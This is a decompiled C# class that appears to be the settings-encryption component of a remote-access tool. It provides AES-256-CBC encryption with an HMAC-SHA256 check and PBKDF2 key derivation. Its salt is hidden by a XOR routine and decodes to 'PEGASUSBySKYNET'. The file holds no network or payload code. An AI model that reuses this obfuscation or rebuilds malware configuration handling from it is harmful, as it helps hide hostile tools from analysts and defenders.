using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

namespace Peg.ICARUS
{
	public class Aetos
	{
		private const int KeyLength = 32;

		private const int AuthKeyLength = 64;

		private const int IvLength = 16;

		private const int HmacSha256Length = 32;

		private static readonly byte[] Salt = Encoding.ASCII.GetBytes(thebook("ZOMKY_YHsYASDO^"));

		private readonly byte[] _authKey;

		private readonly byte[] _key;

		public Aetos(string masterKey)
		{
			if (string.IsNullOrEmpty(masterKey))
			{
				throw new ArgumentException("masterKey can not be null or empty.");
			}
			using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
			_key = rfc2898DeriveBytes.GetBytes(32);
			_authKey = rfc2898DeriveBytes.GetBytes(64);
		}

		public static string thebook(string str)
		{
			char c = '\n';
			StringBuilder stringBuilder = new StringBuilder();
			char[] array = str.ToCharArray();
			for (int i = 0; i < array.Length; i++)
			{
				char value = (char)(array[i] ^ c);
				stringBuilder.Append(value);
			}
			return stringBuilder.ToString();
		}

		public string Encrypt(string input)
		{
			return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
		}

		public byte[] Encrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			using MemoryStream memoryStream = new MemoryStream();
			memoryStream.Position = 32L;
			using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
			{
				aesCryptoServiceProvider.KeySize = 256;
				aesCryptoServiceProvider.BlockSize = 128;
				aesCryptoServiceProvider.Mode = CipherMode.CBC;
				aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
				aesCryptoServiceProvider.Key = _key;
				aesCryptoServiceProvider.GenerateIV();
				using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
				memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
				cryptoStream.Write(input, 0, input.Length);
				cryptoStream.FlushFinalBlock();
				using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
				byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				memoryStream.Position = 0L;
				memoryStream.Write(array, 0, array.Length);
			}
			return memoryStream.ToArray();
		}

		public string Decrypt(string input)
		{
			return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
		}

		public byte[] Decrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			using MemoryStream memoryStream = new MemoryStream(input);
			using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
			aesCryptoServiceProvider.KeySize = 256;
			aesCryptoServiceProvider.BlockSize = 128;
			aesCryptoServiceProvider.Mode = CipherMode.CBC;
			aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
			aesCryptoServiceProvider.Key = _key;
			using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
			{
				byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				byte[] array = new byte[32];
				memoryStream.Read(array, 0, array.Length);
				if (!AreEqual(a, array))
				{
					throw new CryptographicException("Invalid message authentication code (MAC).");
				}
			}
			byte[] array2 = new byte[16];
			memoryStream.Read(array2, 0, 16);
			aesCryptoServiceProvider.IV = array2;
			using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
			byte[] array3 = new byte[memoryStream.Length - 16 + 1];
			byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
			Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
			return array4;
		}

		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		private bool AreEqual(byte[] a1, byte[] a2)
		{
			bool result = true;
			for (int i = 0; i < a1.Length; i++)
			{
				if (a1[i] != a2[i])
				{
					result = false;
				}
			}
			return result;
		}
	}
}
